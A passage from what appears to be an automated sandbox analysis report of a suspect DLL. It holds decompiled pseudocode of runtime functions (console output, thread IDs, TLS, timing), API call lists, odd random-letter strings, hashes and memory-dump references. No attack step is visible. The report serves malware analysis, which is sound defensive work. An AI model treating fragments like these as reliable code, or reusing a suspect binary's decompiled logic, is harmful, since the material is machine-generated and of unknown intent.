													_t100 = _t61;
													_t118 = 4;
													_push(0x6e5a08d4);
													L45:
													E6E579470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6E553650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6e5a08cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6e5a08e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															L6E562470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6e5a08f4);
																	_push(_t156);
																	L48:
																	E6E579AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6e5620f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6e561bf0
0x6e561bf1
0x6e561bf2
0x6e561bf4
0x6e561bf7
0x6e561bfb
0x6e561bff
0x6e561c1e
0x00000000
0x6e561c01
0x6e561c01
0x6e561c05
0x6e561c0d
0x6e561c2d
0x00000000
0x6e561c0f
0x6e561c0f
0x6e561c14
0x6e561c4e
0x6e561c58
0x6e561c5e
0x6e561c60
0x6e561cb9
0x6e561cbb
0x00000000
0x6e561cc1
0x6e561cc1
0x6e561cd3
0x6e561cd9
0x6e561cdb
0x6e561d55
0x6e561d5b
0x6e561d5b
0x6e561d5d
0x6e561cdd
0x6e561cdd
0x6e561ce1
0x6e561ce3
0x6e561ce3
0x6e561d62
0x6e561d64
0x6e561d67
0x00000000
0x6e561d67
0x6e561c62
0x6e561c66
0x6e561c6a
0x6e561c6c
0x6e561ce7
0x6e561cf8
0x6e561cfb
0x6e561cfc
0x6e561d01
0x6e561d04
0x6e561d09
0x6e561d6f
0x6e561d73
0x00000000
0x6e561d0b
0x6e561d0b
0x6e561d10
0x6e561de9
0x6e561dec
0x6e561dec
0x6e561df3
0x6e561df6
0x6e561e2b
0x6e561e2b
0x6e561e32
0x00000000
0x6e561df8
0x6e561df8
0x6e561dfa
0x00000000
0x6e561dfc
0x6e561dfc
0x6e561e00
0x6e561e02
0x00000000
0x6e561e02
0x6e561dfa
0x00000000
0x6e561d16
0x6e561d16
0x6e561d1a
0x6e561d1c
0x6e561e85
0x6e561e87
0x6e561e89
0x00000000
0x6e561d22
0x6e561d26
0x6e561d2a
0x6e561d2b
0x6e561d30
0x6e561d35
0x6e561d3a
0x6e561d77
0x6e561d7b
0x6e561d7c
0x6e561d7d
0x6e561d82
0x00000000
0x6e561d82
0x6e561d1c
0x6e561d10
0x6e561c6e
0x6e561c6e
0x6e561c70
0x6e561e54
0x6e561e59
0x6e561e5c
0x6e561e5e
0x6e561e6d
0x6e561e72
0x6e561e75
0x00000000
0x6e561c76
0x6e561c76
0x6e561c78
0x6e561c81
0x6e561c84
0x6e561d3e
0x00000000
0x6e561c8a
0x6e561c8a
0x6e561c91
0x6e561c93
0x6e561c96
0x6e561c9a
0x6e561ca1
0x6e561ca3
0x6e561ca7
0x6e561d8a
0x6e561d8d
0x6e561d90
0x6e561e77
0x6e561e77
0x6e561e79
0x6e561e7e
0x6e561e8e
0x6e561e8e
0x6e561e93
0x6e561e96
0x00000000
0x6e561d96
0x6e561d9c
0x6e561d9d
0x6e561da2
0x6e561da5
0x6e561daa
0x6e561dae
0x6e561d42
0x6e561d42
0x6e561d49
0x00000000
0x6e561db0
0x6e561db0
0x6e561db4
0x6e561db8
0x6e561dba
0x6e561dbd
0x6e561e98
0x6e561e98
0x6e561e9c
0x6e561e9e
0x6e561ea6
0x6e561eaf
0x00000000
0x6e561dc3
0x6e561dc3
0x6e561dcb
0x6e561dcc
0x6e561dcd
0x6e561dd2
0x6e561dd5
0x6e561dda
0x6e561e08
0x6e561e0c
0x6e561e0f
0x6e561e11
0x6e561e15
0x6e561eb2
0x6e561eb6
0x6e561eb8
0x6e561ec0
0x6e561ec5
0x6e561ec6
0x6e561ec6
0x6e561ece
0x6e561ed1
0x6e561ed6
0x6e561ed9
0x6e561edf
0x6e561f05
0x6e561f0b
0x6e561f29
0x6e561f2f
0x6e561fa2
0x6e561fa8
0x6e56205e
0x6e562064
0x00000000
0x6e562066
0x6e562066
0x6e56206c
0x00000000
0x6e56206e
0x6e56206e
0x6e562074
0x00000000
0x00000000
0x00000000
0x00000000
0x6e562074
0x6e56206c
0x6e561fae
0x6e561fae
0x6e561fb4
0x00000000
0x6e561fba
0x6e561fba
0x6e561fc0
0x00000000
0x6e561fc6
0x6e561fc6
0x6e561fcc
0x00000000
0x6e561fd2
0x00000000
0x6e561fd2
0x6e561fcc
0x6e561fc0
0x6e561fb4
0x6e561f31
0x6e561f31
0x6e561f37
0x6e562020
0x6e562026
0x6e5620a1
0x6e562028
0x6e562028
0x6e56202e
0x6e5620f1
0x6e562034
0x6e562034
0x6e56203a
0x00000000
0x6e56203c
0x00000000
0x6e56203c
0x6e56203a
0x6e56202e
0x6e561f3d
0x6e561f3d
0x6e561f43
0x6e5620dd
0x6e561f49
0x6e561f49
0x6e561f4f
0x6e5620e1
0x6e561f55
0x6e561f55
0x6e561f5b
0x00000000
0x6e561f61
0x6e561f64
0x6e561f64
0x6e561f5b
0x6e561f4f
0x6e561f43
0x6e561f37
0x6e561f0d
0x6e561f0d
0x6e561f13
0x6e561f16
0x6e561f23
0x6e561f23
0x6e56200e
0x6e562011
0x00000000
0x6e562013
0x6e562013
0x6e562019
0x00000000
0x6e56201b
0x00000000
0x6e56201b
0x6e562019
0x6e562011
0x6e561ee1
0x6e561ee1
0x6e561ee7
0x6e561f65
0x6e561f6b
0x6e561fd7
0x6e561fdd
0x6e562082
0x6e562088
0x6e562099
0x6e56208a
0x6e56208a
0x6e562090
0x00000000
0x6e562092
0x6e562095
0x6e562095
0x6e562090
0x6e561fe3
0x6e561fe3
0x6e561fe9
0x6e5620ed
0x6e561fef
0x6e561fef
0x6e561ff5
0x6e56209d
0x6e561ffb
0x6e561ffb
0x6e562001
0x00000000
0x6e562003
0x00000000
0x6e562003
0x6e562001
0x6e561ff5
0x6e561fe9
0x6e561f6d
0x6e561f6d
0x6e561f73
0x6e562041
0x6e562047
0x00000000
0x6e562049
0x6e562049
0x6e56204f
0x00000000
0x6e562051
0x6e562051
0x6e562057
0x00000000
0x6e562059
0x00000000
0x6e562059
0x6e562057
0x6e56204f
0x6e561f79
0x6e561f79
0x6e561f7f
0x6e5620e5
0x6e561f85
0x6e561f85
0x6e561f8b
0x6e5620e9
0x6e561f91
0x6e561f91
0x6e561f97
0x6e562076
0x6e562079
0x6e561f9d
0x00000000
0x6e561f9d
0x6e561f97
0x6e561f8b
0x6e561f7f
0x6e561f73
0x6e561ee9
0x6e561ee9
0x6e561eec
0x6e561ef2
0x6e561ef8
0x6e561eff
0x6e561eff
0x6e5620f2
0x6e5620f5
0x6e5620f5
0x6e561ee7
0x6e561e1b
0x6e561e1b
0x6e561e1b
0x6e561e1d
0x6e561e24
0x00000000
0x6e561e24
0x6e561ddc
0x6e561ddc
0x6e561de2
0x6e561e39
0x6e561e39
0x6e561e3e
0x00000000
0x6e561e3e
0x6e561dda
0x6e561dbd
0x6e561dae
0x6e561cad
0x6e561cad
0x6e561c25
0x6e561c25
0x00000000
0x6e561c25
0x6e561ca7
0x6e561c84
0x6e561c70
0x6e561c6c
0x6e561c16
0x6e561c16
0x6e561c32
0x6e561c32
0x6e561c39
0x6e561c3c
0x6e561c3c
0x6e561c42
0x6e561c49
0x6e561c49
0x6e561c14
0x6e561c0d

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6E561A7E,?), ref: 6E561C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6E561A7E,?), ref: 6E561C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6E561C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6E561CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E561D55

Strings

Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6E561E45
assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6E561E5E

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: b5008f93eb783df3dc7553d96fc7ce48510f92d469e33bfb3346a684c9e06c14
Instruction ID: b4bf282476c8b6a856f18710479aa035dc55472d5245b15ad0d7cf26679f0ed8
Opcode Fuzzy Hash: b5008f93eb783df3dc7553d96fc7ce48510f92d469e33bfb3346a684c9e06c14
Instruction Fuzzy Hash: 6471BE706083459FE710CEA5D55477A7BE5AB86308F108C2DE5DA8B3A1E731D84CCB52

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E55C4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6E563990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6e5ae108, __esi, __edi, __ebx);
				_t47 =  *0x6e5ad038; // 0x1
				_t50 =  *0x6e5ad03c; // 0x0
				_v40 = 0x6e5ae108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6e5ae108);
					_v20 = 0;
					_t22 = E6E5799A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6e59fa80);
					goto L10;
				} else {
					 *0x6e5ad038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6e5ad03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6E5794E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6e59fa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6E55C6B0(_t22,  &_v40);
						}
						return E6E55C690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6e5ae108);
						_t29 =  *0x6e5ae128; // 0xe70000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6E5792F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6e5ae128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6e55c4d0
0x6e55c4d9
0x6e55c4dc
0x6e55c4e3
0x6e55c4f4
0x6e55c4f7
0x6e55c4fd
0x6e55c509
0x6e55c50f
0x6e55c515
0x6e55c51b
0x6e55c524
0x6e55c529
0x6e55c5bf
0x6e55c5bf
0x6e55c5c7
0x6e55c5cd
0x6e55c5e3
0x00000000
0x6e55c52f
0x6e55c536
0x6e55c53d
0x6e55c542
0x6e55c548
0x6e55c5ed
0x6e55c5f0
0x6e55c606
0x6e55c60e
0x6e55c60e
0x6e55c617
0x6e55c61b
0x6e55c620
0x6e55c620
0x6e55c631
0x6e55c54e
0x6e55c553
0x6e55c559
0x6e55c560
0x6e55c570
0x6e55c575
0x6e55c57c
0x00000000
0x6e55c57e
0x6e55c57e
0x6e55c581
0x6e55c584
0x6e55c58b
0x6e55c58f
0x6e55c595
0x6e55c59f
0x6e55c5ad
0x6e55c5ad
0x6e55c562
0x6e55c562
0x6e55c569
0x6e55c5ae
0x6e55c5b3
0x6e55c5b8
0x6e55c5bd
0x00000000
0x6e55c56b
0x6e55c56b
0x00000000
0x6e55c56b
0x6e55c569
0x6e55c560
0x6e55c548

APIs

AcquireSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C509
ReleaseSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C553
GetProcessHeap.KERNEL32 ref: 6E55C562
HeapAlloc.KERNEL32(00E70000,00000000,00000020), ref: 6E55C575
ReleaseSRWLockExclusive.KERNEL32(6E5AE108), ref: 6E55C5C7

Strings

failed to generate unique thread ID: bitspace exhausted, xrefs: 6E55C5D4
called `Option::unwrap()` on a `None` value, xrefs: 6E55C5F7

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: eaf8b21a404606d17f6284d80f2428ac123e13a43264fbcee5a9e1addf0fc5c7
Instruction ID: d0dce5ba2c6de422e7ec239997ea670e89dffb63eb902561ec7cde5083ef0ec8
Opcode Fuzzy Hash: eaf8b21a404606d17f6284d80f2428ac123e13a43264fbcee5a9e1addf0fc5c7
Instruction Fuzzy Hash: 6B31D0B0D002048BEB10DFD8CC187AE7BF4FB89328F11452AD9156F381EB759954CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E56EF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E56EF57
___except_validate_context_record.LIBVCRUNTIME ref: 6E56EF5F
_ValidateLocalCookies.LIBCMT ref: 6E56EFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6E56F013
_ValidateLocalCookies.LIBCMT ref: 6E56F068

Strings

csm, xrefs: 6E56EFFD

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6e39e9f2f2e9cc1aa31e031fe2705db0155f4c765c9d1c1680be80df252a0ec3
Instruction ID: 3d5866c95b397fe5a768fc4c9348218220330d0109b396d4b5727c38e198c821
Opcode Fuzzy Hash: 6e39e9f2f2e9cc1aa31e031fe2705db0155f4c765c9d1c1680be80df252a0ec3
Instruction Fuzzy Hash: A941A434A11119AFCF10CFA9CC80AAEBBF5BF45328F108455E915AB3A1DB31DA15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E562960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6E5AE114), ref: 6E562994
TlsAlloc.KERNEL32 ref: 6E5629AA
GetProcessHeap.KERNEL32 ref: 6E5629C4
HeapAlloc.KERNEL32(00E70000,00000000,0000000C), ref: 6E5629DB
ReleaseSRWLockExclusive.KERNEL32(6E5AE114), ref: 6E562A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6E562A38

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: 941c66177e1ef16d3dd84b95ee26541535de2154a198d06b51e49bb29f089d74
Instruction ID: 5f0936f358385e77983cc63bea4c8036a54b1b48de56647d8a3fccf35b3edf02
Opcode Fuzzy Hash: 941c66177e1ef16d3dd84b95ee26541535de2154a198d06b51e49bb29f089d74
Instruction Fuzzy Hash: E84148B59003598FDF10CFE4C845BAEBBF4FB48318F104529D619AB390EBB59985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E5742BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6E5743C9,FFFDC801,00000400,?,00000000,00000001,?,6E574542,00000021,FlsSetValue,6E5A6BF8,6E5A6C00,?), ref: 6E57437D

Strings

ext-ms-, xrefs: 6E574327
api-ms-, xrefs: 6E574313

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1a0db5872355993542fed4eda1df65deaea51acdb9ca435c970174c96cb5d04d
Instruction ID: b74fe84c3766f2a0c3fef3d3c1093ee2961a9f7b3fa7957d9e5f44e1d697af4e
Opcode Fuzzy Hash: 1a0db5872355993542fed4eda1df65deaea51acdb9ca435c970174c96cb5d04d
Instruction Fuzzy Hash: A6210D75940625ABDF319FA9CC50A9E77ECEB43361F124510ED29A7281DF30ED62C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E56F101,6E56CFA2,6E56C7AC,?,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8,0000000C,6E56CADD), ref: 6E56F3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E56F3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E56F3F4
SetLastError.KERNEL32(00000000,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8,0000000C,6E56CADD,?,00000001,?), ref: 6E56F446

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5179660f618eb7f6debd3cbe88f235b22768057f2f509a9931cd56969b3ff93e
Instruction ID: 84b97c4e3c307c7fc7617d928398218d56713fb3757d13491072d4d441c4a2b8
Opcode Fuzzy Hash: 5179660f618eb7f6debd3cbe88f235b22768057f2f509a9931cd56969b3ff93e
Instruction Fuzzy Hash: EC01D83361DB225EAE703EF95C8456A37E8EB8737E731072AEA20441F0FF124C115690

Uniqueness

Uniqueness Score: -1.00%

Function 6E56BE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E56C510: GetTickCount64.KERNEL32 ref: 6E56C517

GetTickCount64.KERNEL32 ref: 6E56BE96
GetTickCount64.KERNEL32 ref: 6E56BEB4
GetTickCount64.KERNEL32 ref: 6E56BECD
GetTickCount64.KERNEL32 ref: 6E56BECF
GetTickCount64.KERNEL32 ref: 6E56BED6
GetTickCount64.KERNEL32 ref: 6E56BEF4

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: c8988fedfeb4f71d91eb045983448d4aa9ffc6c8290f31dac0195f90df2b0053
